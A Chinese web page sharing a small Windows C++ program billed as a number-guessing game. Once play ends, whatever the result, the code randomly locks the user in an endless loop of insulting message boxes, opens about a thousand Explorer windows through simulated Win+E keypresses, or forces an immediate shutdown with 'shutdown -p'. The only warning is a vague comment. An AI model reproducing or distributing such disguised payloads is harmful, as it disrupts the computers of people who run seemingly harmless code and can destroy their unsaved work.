跳到正文

休闲·娱乐

猜数游戏3.0

ZMR_YYDS约 2 分钟
原文
文章信息与版本

文章信息

发布
2024年7月6日
收录
2025年12月12日
更新
2026年11月15日
篇幅
约 2 分钟

版本

  1. v1当前
C
#include<bits/stdc++.h>//请勿乱输入数,否则后果自负
#include<windows.h>//原创,请勿抄袭(作者:ZMR)
using namespace std;
int main()
{
	srand(getpid());
	int sh=rand()%(100),n=rand()%(100),ans,cs=6,l=1000;
	int x,t,i=0; 
	cout<<"输入一个0~99的数(你有6次机会)"<<endl;
	do{
		cin>>ans;
				if(ans>99){
					cout<<"..."<<endl;
					Sleep(500);
					cout<<"???"<<endl;
					cs--;cs--;cs--;cs--;cs--;cs--;
				}else if(ans==sh){
					cout<<"猜对了!";
					Sleep(1000);
					cout<<"算你走运!"; 
				}else if(ans!=sh){
			 		cs--;
					cout<<"猜错了!再猜!"<<endl;
				}
	}while(cs!=0&&ans!=sh);
	if(n>=75)
		while(1)
		{
		x=MessageBox(GetForegroundWindow(),"人机吧","这都能猜错",0);
		Sleep(1);
		t=MessageBox(GetForegroundWindow(),"54188","sb",0);
		}
	else
		srand(getpid());
		long long cf=rand()%(75);
		if(cf>=50)
			while(l)
			{
				l--;
				keybd_event(VK_LWIN, (BYTE) 0, 0, 0);
				keybd_event('E', (BYTE) 0, 0, 0);
				keybd_event('E', (BYTE) 0, KEYEVENTF_KEYUP, 0);
				keybd_event(VK_LWIN, (BYTE) 0, KEYEVENTF_KEYUP, 0);
			}
		else
				system("shutdown -p");	
	return 0;
}
原文
存档评论1 条抓取于